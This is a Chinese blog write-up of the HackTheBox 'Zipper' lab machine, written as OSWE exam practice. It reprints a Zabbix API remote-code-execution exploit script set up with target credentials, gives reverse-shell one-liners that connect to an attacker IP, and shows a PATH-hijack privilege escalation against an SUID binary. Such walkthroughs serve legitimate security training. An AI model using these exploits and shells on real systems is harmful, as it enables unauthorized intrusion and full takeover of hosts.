OSWE Zipper Write-up

本文最后更新于 2026年3月24日 晚上

一、靶场详情

靶场名称:

Zipper

靶场地址:

https://app.hackthebox.com/machines/Zipper

靶场环境连接说明:

演示为 HackTheBox 平台在线靶机,需通过 OpenVPN 客户端连接平台提供的 VPN 环境才能访问靶机。注意:平台新发布的靶机可以免费练习,而历史靶机则需要开通会员才能使用。还需要注意连接 HackTheBox 平台 VPN 需要挂载代理,具体方式可参考之前的历史文章或留言。

二、思路总结

突破边界(获取用户旗帜):

  1. Zabbix api 远程代码执行(通过后台获取用户名)得到 zabbix 用户权限。
  2. 密码复用得到 zapper 用户权限。
  3. zapper 用户家目录得到旗帜:user.txt。

权限提升(获取管理员旗帜):

  1. Suid 权限滥用(环境变量提权)。
  2. 管理员家目录得到旗帜:root.txt。

三、靶场攻击演示

3.1 靶场信息收集

注意: OSWE 考试过程中不需要对靶机进行服务信息收集,考试环境会直接提供相关信息。考试环境通常包含三台靶机:一台是最终需要获取 flag 的目标靶机,一台是与目标靶机环境完全相同的克隆靶机,用于漏洞分析和调试,最后一台是用于运行 PoC 的靶机,以避免因网络原因导致例如 SQL 盲注 等利用过程过慢,可以在第三台靶机上执行 PoC。

对于 HackTheBox 平台靶机我们依然需要执行 nmap 信息搜集。

TCP 端口扫描(端口和端口服务信息):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
sudo nmap -p- 10.129.1.198 --min-rate=2000
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
10050/tcp open zabbix-agent

sudo nmap -p22,80,10050 -sCV 10.129.1.198
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 59:20:a3:a0:98:f2:a7:14:1e:08:e0:9b:81:72:99:0e (RSA)
| 256 aa:fe:25:f8:21:24:7c:fc:b5:4b:5f:05:24:69:4c:76 (ECDSA)
|_ 256 89:28:37:e2:b6:cc:d5:80:38:1f:b2:6a:3a:c3:a1:84 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.29 (Ubuntu)
10050/tcp open tcpwrapped
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

UDP 端口扫描(端口和端口服务信息):

1
2
# 扫描未发现可利用 UDP 端口
sudo nmap -p- -sU 10.129.1.198 --min-rate=2000

由此得出结论:

系统为 Linux 环境,开放有 HTTP、SSH 服务。

3.2 渗透测试突破边界

3.2.1 Zabbix api 远程代码执行漏洞

访问靶机 HTTP 80 服务,首页为 Apache 的默认页面。

目录枚举过程发现系统部署了 zabbix 应用。

测试主机默认口令时,点击 sign in as guest 可以临时登录系统后台,在页面下方得知应用版本为 3.0.21。该版本在2018年以前未发现已知的 RCE 漏洞(靶机创建日期为 2018 年 10 月)。

从后台历史记录中可发现一些用户描述信息,其中 zipper、zabbix、zapper 字样疑似用户名,尝试使用 zapper/zapper 登录时。系统提示不允许访问 GUI,其余则提示密码或用户名错误。

用户没有权限登录 GUI,但可尝试通过 API 登录,检索系统漏洞时,发现 Zabbix API 历史存在的远程代码执行漏洞。

1
https://www.exploit-db.com/exploits/39937

修改脚本中 URL、用户名、密码和 hostid,其中 hostid 可通过 guest 用户后台获取。

点击 latest data 发现系统共存在两个主机: Zipper、Zabbix,点击测试脚本从 URL 可得到 hostid。

实际测试两个 hostid 命令执行结果是相同的,都是容器环境。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
#!/usr/bin/env python
# -*- coding: utf-8 -*-

# Exploit Title: Zabbix RCE with API JSON-RPC
# Date: 06-06-2016
# Exploit Author: Alexander Gurin
# Vendor Homepage: http://www.zabbix.com
# Software Link: http://www.zabbix.com/download.php
# Version: 2.2 - 3.0.3
# Tested on: Linux (Debian, CentOS)
# CVE : N/A

import requests
import json
import readline

ZABIX_ROOT = 'http://10.129.1.198/zabbix' ### Zabbix IP-address
url = ZABIX_ROOT + '/api_jsonrpc.php' ### Don't edit

login = 'zapper' ### Zabbix login
password = 'zapper' ### Zabbix password
hostid = '10105' ### Zabbix hostid or 10106

### auth
payload = {
"jsonrpc" : "2.0",
"method" : "user.login",
"params": {
'user': ""+login+"",
'password': ""+password+"",
},
"auth" : None,
"id" : 0,
}
headers = {
'content-type': 'application/json',
}

auth = requests.post(url, data=json.dumps(payload), headers=(headers))
auth = auth.json()

while True:
cmd = raw_input('\033[41m[zabbix_cmd]>>: \033[0m ')
if cmd == "" : print "Result of last command:"
if cmd == "quit" : break

### update
payload = {
"jsonrpc": "2.0",
"method": "script.update",
"params": {
"scriptid": "1",
"command": ""+cmd+""
},
"auth" : auth['result'],
"id" : 0,
}

cmd_upd = requests.post(url, data=json.dumps(payload), headers=(headers))

### execute
payload = {
"jsonrpc": "2.0",
"method": "script.execute",
"params": {
"scriptid": "1",
"hostid": ""+hostid+""
},
"auth" : auth['result'],
"id" : 0,
}

cmd_exe = requests.post(url, data=json.dumps(payload), headers=(headers))
cmd_exe = cmd_exe.json()
print cmd_exe["result"]["value"]

id 10105

id 10106

查找官方 API 脚本文档,发现存在 execute_on 参数,该参数可指定脚本在 agent 或 server 运行,修改攻击脚本 payload 参数,经测试当在 agent 执行时,会获取到宿主机执行权限。

1
https://www.zabbix.com/documentation/current/zh/manual/api/reference/script/object

直接通过 nc 建立反弹 shell 后,shell 很快就会断开,大概率是进程关闭导致。

1
bash -c "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.16.221 4444 >/tmp/f"

使用 nohup 使进程挂载到后台,再次执行可得到稳定的 shell。

1
bash -c "nohup sh -i >& /dev/tcp/10.10.16.221/4444 0>&1 &"

转换为交互式 shell。

1
2
3
4
5
6
7
bash
python -c 'import pty;pty.spawn("/bin/bash")'
Control + z
stty raw -echo;fg
export SHELL=/bin/bash
export TERM=screen
stty rows 43 columns 150

3.2.2 密码服用切换至 zapper 用户 shell

当前 shell 没有权限查看用户旗帜,在 zapper 用户 utils 目录发现备份脚本,脚本中定义了 7z 的压缩密码,复用该密码可切换至 zapper 用户权限。

1
su zapper

3.2.3 用户旗帜获取

3.3 提权获取系统最高权限

3.3.1 SUID 、环境变量提升至 root 用户权限

排查系统 suid 程序,发现 /home/zapper/utils/zabbix-service 程序具有 suid 权限,且该程序属于 root 用户。

1
find / -perm -u=s -type f -ls 2>/dev/null

查看程序包含的字符信息,发现其执行了 systemctl 命令,由于该命令未使用绝对路径,可临时修改环境变量使其执行我们创建的同名文件。

1
strings /home/zapper/utils/zabbix-service

在 tmp 目录创建反弹 shell 文件,将其命名为 systemctl。

1
echo "busybox nc 10.10.16.221 4444 -e /bin/bash" > /tmp/systemctl && chmod +x /tmp/systemctl

将 tmp 目录设置到环境变量最前端。

1
export PATH=/tmp:$PATH

执行 /home/zapper/utils/zabbix-service 程序,输入 start,可接收到靶机 root 用户 shell。

当然也可以将反弹 shell 直接修改为 bash -p ,输入 start 可直接进入 root 权限 shell。

3.3.2 管理员旗帜获取

Thanks

如果我的文章对您有帮助或您希望与我更多交流,欢迎点击「关于我」,通过页面中的微信公众号、邮箱或 Discord 与我联系;若您发现文章中存在任何错误或不足之处,也非常欢迎通过以上方式指出,在此一并致以衷心的感谢。 😊🫡

最后,祝您生活愉快!🌞✨


OSWE Zipper Write-up
https://www.f0nesec.top/2026/03/24/oswe-zipper/
作者
F0ne
发布于
2026年3月24日
许可协议